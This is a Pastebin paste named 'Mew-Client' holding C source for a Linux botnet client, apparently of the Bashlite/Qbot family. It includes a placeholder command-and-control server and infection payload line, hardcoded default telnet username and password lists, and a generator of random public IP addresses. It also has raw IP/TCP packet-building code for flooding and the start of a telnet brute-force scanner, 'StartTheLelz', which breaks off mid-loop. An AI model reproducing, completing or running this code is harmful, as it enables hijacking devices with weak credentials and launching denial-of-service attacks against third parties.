Advertisement
ZucoCheezy

Mew-Client

Nov 26th, 2018
129
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 75.73 KB | None | 0 0
  1. #define PR_SET_NAME 15
  2. #define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))
  3. #define PAD_RIGHT 1
  4. #define PAD_ZERO 2
  5. #define PRINT_BUF_LEN 12
  6. #define CMD_IAC   255
  7. #define CMD_WILL  251
  8. #define CMD_WONT  252
  9. #define CMD_DO    253
  10. #define CMD_DONT  254
  11. #define OPT_SGA   3
  12. #define STD2_STRING "dts"
  13. #define STD2_SIZE 50
  14.  
  15. #include <stdlib.h>
  16. #include <stdarg.h>
  17. #include <stdio.h>
  18. #include <sys/socket.h>
  19. #include <sys/types.h>
  20. #include <netinet/in.h>
  21. #include <arpa/inet.h>
  22. #include <netdb.h>
  23. #include <signal.h>
  24. #include <strings.h>
  25. #include <string.h>
  26. #include <sys/utsname.h>
  27. #include <unistd.h>
  28. #include <fcntl.h>
  29. #include <errno.h>
  30. #include <netinet/ip.h>
  31. #include <netinet/udp.h>
  32. #include <netinet/tcp.h>
  33. #include <sys/wait.h>
  34. #include <sys/ioctl.h>
  35. #include <net/if.h>
  36.  
  37. char *infectline = "PAYLOADZZZZ\r\n";
  38.  
  39. unsigned char *commServer[] =
  40. {
  41.         "IP:23"
  42. };
  43.  
  44. char *useragents[] = {
  45.         "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  46.         "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  47.         "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  48.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  49.         "Mozilla/5.0 (Windows NT 5.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  50.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  51.         "Mozilla/5.0 (Windows NT 6.1; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  52.         "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  53.         "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)",
  54.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  55.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  56.         "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  57.         "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5",
  58.         "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11",
  59.         "Mozilla/5.0 (Linux; U; Android 2.2; fr-fr; Desire_A8181 Build/FRF91) App3leWebKit/53.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
  60.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20100101 Firefox/13.0.1",
  61.         "Mozilla/5.0 (iPhone; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  62.         "Mozilla/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 5.0) Opera 7.02 Bork-edition [en]",
  63.         "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:12.0) Gecko/20100101 Firefox/12.0",
  64.         "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7 Safari/534.57.2",
  65.         "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6",
  66.         "Mozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B206 Safari/7534.48.3",
  67.         "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; .NET CLR 1.1.4322; PeoplePal 6.2)",
  68. };
  69.  
  70. int initConnection();
  71. int getBogos(unsigned char *bogomips);
  72. int getCores();
  73. int getCountry(unsigned char *buf, int bufsize);
  74. void makeRandomStr(unsigned char *buf, int length);
  75. int sockprintf(int sock, char *formatStr, ...);
  76. char *inet_ntoa(struct in_addr in);
  77.  
  78. int mainCommSock = 0, currentServer = -1, gotIP = 0;
  79. uint32_t *pids;
  80. uint32_t scanPid;
  81. uint64_t numpids = 0;
  82. struct in_addr ourIP;
  83. unsigned char macAddress[6] = {0};
  84. char *usernames[] = {"root\0", "admin\0", "user\0", "login\0", "guest\0", "support\0"};
  85. char *passwords[] = {"root\0", "toor\0", "admin\0", "user\0", "guest\0", "login\0", "changeme\0", "1234\0", "12345\0", "123456\0", "default\0", "\0", "password\0", "support\0"};
  86.  
  87. #define PHI 0x9e3779b9
  88. static uint32_t Q[4096], c = 362436;
  89.  
  90. void init_rand(uint32_t x)
  91. {
  92.         int i;
  93.  
  94.         Q[0] = x;
  95.         Q[1] = x + PHI;
  96.         Q[2] = x + PHI + PHI;
  97.  
  98.         for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  99. }
  100.  
  101. uint32_t rand_cmwc(void)
  102. {
  103.         uint64_t t, a = 18782LL;
  104.         static uint32_t i = 4095;
  105.         uint32_t x, r = 0xfffffffe;
  106.         i = (i + 1) & 4095;
  107.         t = a * Q[i] + c;
  108.         c = (uint32_t)(t >> 32);
  109.         x = t + c;
  110.         if (x < c) {
  111.                 x++;
  112.                 c++;
  113.         }
  114.         return (Q[i] = r - x);
  115. }
  116.  
  117. void trim(char *str)
  118. {
  119.         int i;
  120.         int begin = 0;
  121.         int end = strlen(str) - 1;
  122.  
  123.         while (isspace(str[begin])) begin++;
  124.  
  125.         while ((end >= begin) && isspace(str[end])) end--;
  126.         for (i = begin; i <= end; i++) str[i - begin] = str[i];
  127.  
  128.         str[i - begin] = '\0';
  129. }
  130.  
  131. static void printchar(unsigned char **str, int c)
  132. {
  133.         if (str) {
  134.                 **str = c;
  135.                 ++(*str);
  136.         }
  137.         else (void)write(1, &c, 1);
  138. }
  139.  
  140. static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
  141. {
  142.         register int pc = 0, padchar = ' ';
  143.  
  144.         if (width > 0) {
  145.                 register int len = 0;
  146.                 register const unsigned char *ptr;
  147.                 for (ptr = string; *ptr; ++ptr) ++len;
  148.                 if (len >= width) width = 0;
  149.                 else width -= len;
  150.                 if (pad & PAD_ZERO) padchar = '0';
  151.         }
  152.         if (!(pad & PAD_RIGHT)) {
  153.                 for ( ; width > 0; --width) {
  154.                         printchar (out, padchar);
  155.                         ++pc;
  156.                 }
  157.         }
  158.         for ( ; *string ; ++string) {
  159.                 printchar (out, *string);
  160.                 ++pc;
  161.         }
  162.         for ( ; width > 0; --width) {
  163.                 printchar (out, padchar);
  164.                 ++pc;
  165.         }
  166.  
  167.         return pc;
  168. }
  169.  
  170. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
  171. {
  172.         unsigned char print_buf[PRINT_BUF_LEN];
  173.         register unsigned char *s;
  174.         register int t, neg = 0, pc = 0;
  175.         register unsigned int u = i;
  176.  
  177.         if (i == 0) {
  178.                 print_buf[0] = '0';
  179.                 print_buf[1] = '\0';
  180.                 return prints (out, print_buf, width, pad);
  181.         }
  182.  
  183.         if (sg && b == 10 && i < 0) {
  184.                 neg = 1;
  185.                 u = -i;
  186.         }
  187.  
  188.         s = print_buf + PRINT_BUF_LEN-1;
  189.         *s = '\0';
  190.  
  191.         while (u) {
  192.                 t = u % b;
  193.                 if( t >= 10 )
  194.                 t += letbase - '0' - 10;
  195.                 *--s = t + '0';
  196.                 u /= b;
  197.         }
  198.  
  199.         if (neg) {
  200.                 if( width && (pad & PAD_ZERO) ) {
  201.                         printchar (out, '-');
  202.                         ++pc;
  203.                         --width;
  204.                 }
  205.                 else {
  206.                         *--s = '-';
  207.                 }
  208.         }
  209.  
  210.         return pc + prints (out, s, width, pad);
  211. }
  212.  
  213. static int print(unsigned char **out, const unsigned char *format, va_list args )
  214. {
  215.         register int width, pad;
  216.         register int pc = 0;
  217.         unsigned char scr[2];
  218.  
  219.         for (; *format != 0; ++format) {
  220.                 if (*format == '%') {
  221.                         ++format;
  222.                         width = pad = 0;
  223.                         if (*format == '\0') break;
  224.                         if (*format == '%') goto out;
  225.                         if (*format == '-') {
  226.                                 ++format;
  227.                                 pad = PAD_RIGHT;
  228.                         }
  229.                         while (*format == '0') {
  230.                                 ++format;
  231.                                 pad |= PAD_ZERO;
  232.                         }
  233.                         for ( ; *format >= '0' && *format <= '9'; ++format) {
  234.                                 width *= 10;
  235.                                 width += *format - '0';
  236.                         }
  237.                         if( *format == 's' ) {
  238.                                 register char *s = (char *)va_arg( args, int );
  239.                                 pc += prints (out, s?s:"(null)", width, pad);
  240.                                 continue;
  241.                         }
  242.                         if( *format == 'd' ) {
  243.                                 pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  244.                                 continue;
  245.                         }
  246.                         if( *format == 'x' ) {
  247.                                 pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  248.                                 continue;
  249.                         }
  250.                         if( *format == 'X' ) {
  251.                                 pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  252.                                 continue;
  253.                         }
  254.                         if( *format == 'u' ) {
  255.                                 pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  256.                                 continue;
  257.                         }
  258.                         if( *format == 'c' ) {
  259.                                 scr[0] = (unsigned char)va_arg( args, int );
  260.                                 scr[1] = '\0';
  261.                                 pc += prints (out, scr, width, pad);
  262.                                 continue;
  263.                         }
  264.                 }
  265.                 else {
  266. out:
  267.                         printchar (out, *format);
  268.                         ++pc;
  269.                 }
  270.         }
  271.         if (out) **out = '\0';
  272.         va_end( args );
  273.         return pc;
  274. }
  275.  
  276. int zprintf(const unsigned char *format, ...)
  277. {
  278.         va_list args;
  279.         va_start( args, format );
  280.         return print( 0, format, args );
  281. }
  282.  
  283. int szprintf(unsigned char *out, const unsigned char *format, ...)
  284. {
  285.         va_list args;
  286.         va_start( args, format );
  287.         return print( &out, format, args );
  288. }
  289.  
  290.  
  291. int sockprintf(int sock, char *formatStr, ...)
  292. {
  293.         unsigned char *textBuffer = malloc(2048);
  294.         memset(textBuffer, 0, 2048);
  295.         char *orig = textBuffer;
  296.         va_list args;
  297.         va_start(args, formatStr);
  298.         print(&textBuffer, formatStr, args);
  299.         va_end(args);
  300.         orig[strlen(orig)] = '\n';
  301.         zprintf("buf: %s\n", orig);
  302.         int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  303.         free(orig);
  304.         return q;
  305. }
  306.  
  307. static int *fdopen_pids;
  308.  
  309. int fdpopen(unsigned char *program, register unsigned char *type)
  310. {
  311.         register int iop;
  312.         int pdes[2], fds, pid;
  313.  
  314.         if (*type != 'r' && *type != 'w' || type[1]) return -1;
  315.  
  316.         if (pipe(pdes) < 0) return -1;
  317.         if (fdopen_pids == NULL) {
  318.                 if ((fds = getdtablesize()) <= 0) return -1;
  319.                 if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
  320.                 memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
  321.         }
  322.  
  323.         switch (pid = vfork())
  324.         {
  325.         case -1:
  326.                 close(pdes[0]);
  327.                 close(pdes[1]);
  328.                 return -1;
  329.         case 0:
  330.                 if (*type == 'r') {
  331.                         if (pdes[1] != 1) {
  332.                                 dup2(pdes[1], 1);
  333.                                 close(pdes[1]);
  334.                         }
  335.                         close(pdes[0]);
  336.                 } else {
  337.                         if (pdes[0] != 0) {
  338.                                 (void) dup2(pdes[0], 0);
  339.                                 (void) close(pdes[0]);
  340.                         }
  341.                         (void) close(pdes[1]);
  342.                 }
  343.                 execl("/bin/sh", "sh", "-c", program, NULL);
  344.                 _exit(127);
  345.         }
  346.         if (*type == 'r') {
  347.                 iop = pdes[0];
  348.                 (void) close(pdes[1]);
  349.         } else {
  350.                 iop = pdes[1];
  351.                 (void) close(pdes[0]);
  352.         }
  353.         fdopen_pids[iop] = pid;
  354.         return (iop);
  355. }
  356.  
  357. int fdpclose(int iop)
  358. {
  359.         register int fdes;
  360.         sigset_t omask, nmask;
  361.         int pstat;
  362.         register int pid;
  363.  
  364.         if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
  365.         (void) close(iop);
  366.         sigemptyset(&nmask);
  367.         sigaddset(&nmask, SIGINT);
  368.         sigaddset(&nmask, SIGQUIT);
  369.         sigaddset(&nmask, SIGHUP);
  370.         (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
  371.         do {
  372.                 pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
  373.         } while (pid == -1 && errno == EINTR);
  374.         (void) sigprocmask(SIG_SETMASK, &omask, NULL);
  375.         fdopen_pids[fdes] = 0;
  376.         return (pid == -1 ? -1 : WEXITSTATUS(pstat));
  377. }
  378.  
  379. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  380. {
  381.         int got = 1, total = 0;
  382.         while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  383.         return got == 0 ? NULL : buffer;
  384. }
  385.  
  386. static const long hextable[] = {
  387.         [0 ... 255] = -1,
  388.         ['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
  389.         ['A'] = 10, 11, 12, 13, 14, 15,
  390.         ['a'] = 10, 11, 12, 13, 14, 15
  391. };
  392.  
  393. long parseHex(unsigned char *hex)
  394. {
  395.         long ret = 0;
  396.         while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
  397.         return ret;
  398. }
  399.  
  400. int wildString(const unsigned char* pattern, const unsigned char* string) {
  401.         switch(*pattern)
  402.         {
  403.         case '\0': return *string;
  404.         case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  405.         case '?': return !(*string && !wildString(pattern+1, string+1));
  406.         default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  407.         }
  408. }
  409.  
  410. int getHost(unsigned char *toGet, struct in_addr *i)
  411. {
  412.         struct hostent *h;
  413.         if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  414.         return 0;
  415. }
  416.  
  417. void uppercase(unsigned char *str)
  418. {
  419.         while(*str) { *str = toupper(*str); str++; }
  420. }
  421.  
  422. int getBogos(unsigned char *bogomips)
  423. {
  424.         int cmdline = open("/proc/cpuinfo", O_RDONLY);
  425.         char linebuf[4096];
  426.         while(fdgets(linebuf, 4096, cmdline) != NULL)
  427.         {
  428.                 uppercase(linebuf);
  429.                 if(strstr(linebuf, "BOGOMIPS") == linebuf)
  430.                 {
  431.                         unsigned char *pos = linebuf + 8;
  432.                         while(*pos == ' ' || *pos == '\t' || *pos == ':') pos++;
  433.                         while(pos[strlen(pos)-1] == '\r' || pos[strlen(pos)-1] == '\n') pos[strlen(pos)-1]=0;
  434.                         if(strchr(pos, '.') != NULL) *strchr(pos, '.') = 0x00;
  435.                         strcpy(bogomips, pos);
  436.                         close(cmdline);
  437.                         return 0;
  438.                 }
  439.                 memset(linebuf, 0, 4096);
  440.         }
  441.         close(cmdline);
  442.         return 1;
  443. }
  444.  
  445. int getCores()
  446. {
  447.         int totalcores = 0;
  448.         int cmdline = open("/proc/cpuinfo", O_RDONLY);
  449.         char linebuf[4096];
  450.         while(fdgets(linebuf, 4096, cmdline) != NULL)
  451.         {
  452.                 uppercase(linebuf);
  453.                 if(strstr(linebuf, "BOGOMIPS") == linebuf) totalcores++;
  454.                 memset(linebuf, 0, 4096);
  455.         }
  456.         close(cmdline);
  457.         return totalcores;
  458.  
  459. }
  460.  
  461. void makeRandomStr(unsigned char *buf, int length)
  462. {
  463.         int i = 0;
  464.         for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  465. }
  466.  
  467. int recvLine(int socket, unsigned char *buf, int bufsize)
  468. {
  469.         memset(buf, 0, bufsize);
  470.  
  471.         fd_set myset;
  472.         struct timeval tv;
  473.         tv.tv_sec = 30;
  474.         tv.tv_usec = 0;
  475.         FD_ZERO(&myset);
  476.         FD_SET(socket, &myset);
  477.         int selectRtn, retryCount;
  478.         if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  479.                 while(retryCount < 10)
  480.                 {
  481.                         sockprintf(mainCommSock, "PING");
  482.  
  483.                         tv.tv_sec = 30;
  484.                         tv.tv_usec = 0;
  485.                         FD_ZERO(&myset);
  486.                         FD_SET(socket, &myset);
  487.                         if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  488.                                 retryCount++;
  489.                                 continue;
  490.                         }
  491.  
  492.                         break;
  493.                 }
  494.         }
  495.  
  496.         unsigned char tmpchr;
  497.         unsigned char *cp;
  498.         int count = 0;
  499.  
  500.         cp = buf;
  501.         while(bufsize-- > 1)
  502.         {
  503.                 if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
  504.                         *cp = 0x00;
  505.                         return -1;
  506.                 }
  507.                 *cp++ = tmpchr;
  508.                 if(tmpchr == '\n') break;
  509.                 count++;
  510.         }
  511.         *cp = 0x00;
  512.  
  513. //      zprintf("recv: %s\n", cp);
  514.  
  515.         return count;
  516. }
  517.  
  518. int connectTimeout(int fd, char *host, int port, int timeout)
  519. {
  520.         struct sockaddr_in dest_addr;
  521.         fd_set myset;
  522.         struct timeval tv;
  523.         socklen_t lon;
  524.  
  525.         int valopt;
  526.         long arg = fcntl(fd, F_GETFL, NULL);
  527.         arg |= O_NONBLOCK;
  528.         fcntl(fd, F_SETFL, arg);
  529.  
  530.         dest_addr.sin_family = AF_INET;
  531.         dest_addr.sin_port = htons(port);
  532.         if(getHost(host, &dest_addr.sin_addr)) return 0;
  533.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  534.         int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  535.  
  536.         if (res < 0) {
  537.                 if (errno == EINPROGRESS) {
  538.                         tv.tv_sec = timeout;
  539.                         tv.tv_usec = 0;
  540.                         FD_ZERO(&myset);
  541.                         FD_SET(fd, &myset);
  542.                         if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  543.                                 lon = sizeof(int);
  544.                                 getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  545.                                 if (valopt) return 0;
  546.                         }
  547.                         else return 0;
  548.                 }
  549.                 else return 0;
  550.         }
  551.  
  552.         arg = fcntl(fd, F_GETFL, NULL);
  553.         arg &= (~O_NONBLOCK);
  554.         fcntl(fd, F_SETFL, arg);
  555.  
  556.         return 1;
  557. }
  558.  
  559. int listFork()
  560. {
  561.         uint32_t parent, *newpids, i;
  562.         parent = fork();
  563.         if (parent <= 0) return parent;
  564.         numpids++;
  565.         newpids = (uint32_t*)malloc((numpids + 1) * 4);
  566.         for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  567.         newpids[numpids - 1] = parent;
  568.         free(pids);
  569.         pids = newpids;
  570.         return parent;
  571. }
  572.  
  573. int negotiate(int sock, unsigned char *buf, int len)
  574. {
  575.         unsigned char c;
  576.  
  577.         switch (buf[1]) {
  578.         case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0;
  579.         case CMD_WILL:
  580.         case CMD_WONT:
  581.         case CMD_DO:
  582.         case CMD_DONT:
  583.                 c = CMD_IAC;
  584.                 send(sock, &c, 1, MSG_NOSIGNAL);
  585.                 if (CMD_WONT == buf[1]) c = CMD_DONT;
  586.                 else if (CMD_DONT == buf[1]) c = CMD_WONT;
  587.                 else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  588.                 else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  589.                 send(sock, &c, 1, MSG_NOSIGNAL);
  590.                 send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  591.                 break;
  592.  
  593.         default:
  594.                 break;
  595.         }
  596.  
  597.         return 0;
  598. }
  599.  
  600. int matchPrompt(char *bufStr)
  601. {
  602.         char *prompts = ":>%$#\0";
  603.  
  604.         int bufLen = strlen(bufStr);
  605.         int i, q = 0;
  606.         for(i = 0; i < strlen(prompts); i++)
  607.         {
  608.                 while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  609.                 if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  610.         }
  611.  
  612.         return 0;
  613. }
  614.  
  615. int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
  616. {
  617.         int bufferUsed = initialIndex, got = 0, found = 0;
  618.         fd_set myset;
  619.         struct timeval tv;
  620.         tv.tv_sec = timeout;
  621.         tv.tv_usec = timeoutusec;
  622.         unsigned char *initialRead = NULL;
  623.  
  624.         while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
  625.         {
  626.                 FD_ZERO(&myset);
  627.                 FD_SET(fd, &myset);
  628.                 if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
  629.                 initialRead = buffer + bufferUsed;
  630.                 got = recv(fd, initialRead, 1, 0);
  631.                 if(got == -1 || got == 0) return 0;
  632.                 bufferUsed += got;
  633.                 if(*initialRead == 0xFF)
  634.                 {
  635.                         got = recv(fd, initialRead + 1, 2, 0);
  636.                         if(got == -1 || got == 0) return 0;
  637.                         bufferUsed += got;
  638.                         if(!negotiate(fd, initialRead, 3)) return 0;
  639.                 } else {
  640.                         if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
  641.                 }
  642.         }
  643.  
  644.         if(found) return 1;
  645.         return 0;
  646. }
  647.  
  648. static uint8_t ipState[5];
  649. in_addr_t getRandomPublicIP()
  650. {
  651.     char ip[16];
  652.    
  653.     if(ipState[4] >= 255){
  654.         ipState[3]++;
  655.         ipState[4] = 0;
  656.         szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]);
  657.         return inet_addr(ip);
  658.     }
  659.     if(ipState[3] >= 255){
  660.         ipState[2]++;
  661.         ipState[3] = 0;
  662.         szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]);
  663.         return inet_addr(ip);
  664.     }
  665.     if(ipState[2] >= 255){
  666.         ipState[1] = rand() % 255;
  667.         ipState[2] = rand() % 255;
  668.         ipState[3] = rand() % 255;
  669.         ipState[4] = rand() % 255;
  670.         szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]);
  671.         return inet_addr(ip);
  672.     }
  673.    
  674.     ipState[4]++;
  675.    
  676.     while(
  677.             (ipState[1] == 0) ||
  678.             (ipState[1] == 10) ||
  679.             (ipState[1] == 100 && (ipState[2] >= 64 && ipState[2] <= 127)) ||
  680.             (ipState[1] == 127) ||
  681.             (ipState[1] == 169 && ipState[2] == 254) ||
  682.             (ipState[1] == 172 && (ipState[2] <= 16 && ipState[2] <= 31)) ||
  683.             (ipState[1] == 192 && ipState[2] == 0 && ipState[3] == 2) ||
  684.             (ipState[1] == 192 && ipState[2] == 88 && ipState[3] == 99) ||
  685.             (ipState[1] == 192 && ipState[2] == 168) ||
  686.             (ipState[1] == 198 && (ipState[2] == 18 || ipState[2] == 19)) ||
  687.             (ipState[1] == 198 && ipState[2] == 51 && ipState[3] == 100) ||
  688.             (ipState[1] == 203 && ipState[2] == 0 && ipState[3] == 113) ||
  689.             (ipState[1] >= 224) ||
  690.             (ipState[1] == 185 && ipState[2] == 62) ||
  691.             (ipState[1] == 208 && ipState[2] == 67)
  692.     )
  693.     {
  694.         ipState[1] = rand() % 255;
  695.         ipState[2] = rand() % 255;
  696.         ipState[3] = rand() % 255;
  697.         ipState[4] = rand() % 255;
  698.     }
  699.    
  700.     szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]);
  701.  
  702.     return inet_addr(ip);
  703. }
  704.  
  705. in_addr_t getRandomIP(in_addr_t netmask)
  706. {
  707.         in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  708.         return tmp ^ ( rand_cmwc() & ~netmask);
  709. }
  710.  
  711. unsigned short csum (unsigned short *buf, int count)
  712. {
  713.         register uint64_t sum = 0;
  714.         while( count > 1 ) { sum += *buf++; count -= 2; }
  715.         if(count > 0) { sum += *(unsigned char *)buf; }
  716.         while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  717.         return (uint16_t)(~sum);
  718. }
  719.  
  720. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
  721. {
  722.  
  723.         struct tcp_pseudo
  724.         {
  725.                 unsigned long src_addr;
  726.                 unsigned long dst_addr;
  727.                 unsigned char zero;
  728.                 unsigned char proto;
  729.                 unsigned short length;
  730.         } pseudohead;
  731.         unsigned short total_len = iph->tot_len;
  732.         pseudohead.src_addr=iph->saddr;
  733.         pseudohead.dst_addr=iph->daddr;
  734.         pseudohead.zero=0;
  735.         pseudohead.proto=IPPROTO_TCP;
  736.         pseudohead.length=htons(sizeof(struct tcphdr));
  737.         int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  738.         unsigned short *tcp = malloc(totaltcp_len);
  739.         memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  740.         memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  741.         unsigned short output = csum(tcp,totaltcp_len);
  742.         free(tcp);
  743.         return output;
  744. }
  745.  
  746. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  747. {
  748.         iph->ihl = 5;
  749.         iph->version = 4;
  750.         iph->tos = 0;
  751.         iph->tot_len = sizeof(struct iphdr) + packetSize;
  752.         iph->id = rand_cmwc();
  753.         iph->frag_off = 0;
  754.         iph->ttl = MAXTTL;
  755.         iph->protocol = protocol;
  756.         iph->check = 0;
  757.         iph->saddr = source;
  758.         iph->daddr = dest;
  759. }
  760.  
  761. int sclose(int fd)
  762. {
  763.         if(3 > fd) return 1;
  764.         close(fd);
  765.         return 0;
  766. }
  767.  
  768. void StartTheLelz()
  769. {
  770.         int max = (getdtablesize() / 4) * 3, i, res;
  771.         fd_set myset;
  772.         struct timeval tv;
  773.         socklen_t lon;
  774.         int valopt;
  775.  
  776.         max = max > 512 ? 512 : max;
  777.  
  778.         struct sockaddr_in dest_addr;
  779.         dest_addr.sin_family = AF_INET;
  780.         dest_addr.sin_port = htons(23);
  781.         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  782.  
  783.         struct telstate_t
  784.         {
  785.                 int fd;
  786.                 uint32_t ip;
  787.                 uint8_t state;
  788.                 uint8_t complete;
  789.                 uint8_t usernameInd;
  790.                 uint8_t passwordInd;
  791.                 uint32_t totalTimeout;
  792.                 uint16_t bufUsed;
  793.                 char *sockbuf;
  794.         } fds[max];
  795.         memset(fds, 0, max * (sizeof(int) + 1));
  796.         for(i = 0; i < max; i++) { fds[i].complete = 1; fds[i].sockbuf = malloc(1024); memset(fds[i].sockbuf, 0, 1024); }
  797.         struct timeval timeout;
  798.         timeout.tv_sec = 5;
  799.         timeout.tv_usec = 0;
  800.         while(1)
  801.         {
  802.                 for(i = 0; i < max; i++)
  803.                 {
  804.                         switch(fds[i].state)
  805.                         {
  806.                         case 0:
  807.                                 {
  808.                                         memset(fds[i].sockbuf, 0, 1024);
  809.  
  810.                                         if(fds[i].complete) { char *tmp = fds[i].sockbuf; memset(&(fds[i]), 0, sizeof(struct telstate_t)); fds[i].sockbuf = tmp; fds[i].ip = getRandomPublicIP(); }
  811.                                         else {
  812.                                                 fds[i].passwordInd++;
  813.                                                 if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) { fds[i].passwordInd = 0; fds[i].usernameInd++; }
  814.                                                 if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) { fds[i].complete = 1; continue; }
  815.                                         }
  816.                                         dest_addr.sin_family = AF_INET;
  817.                                         dest_addr.sin_port = htons(23);
  818.                                         memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  819.                                         dest_addr.sin_addr.s_addr = fds[i].ip;
  820.                                         fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  821.                                         setsockopt (fds[i].fd, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout));
  822.                                         setsockopt (fds[i].fd, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout, sizeof(timeout));
  823.                                         if(fds[i].fd == -1) { continue; }
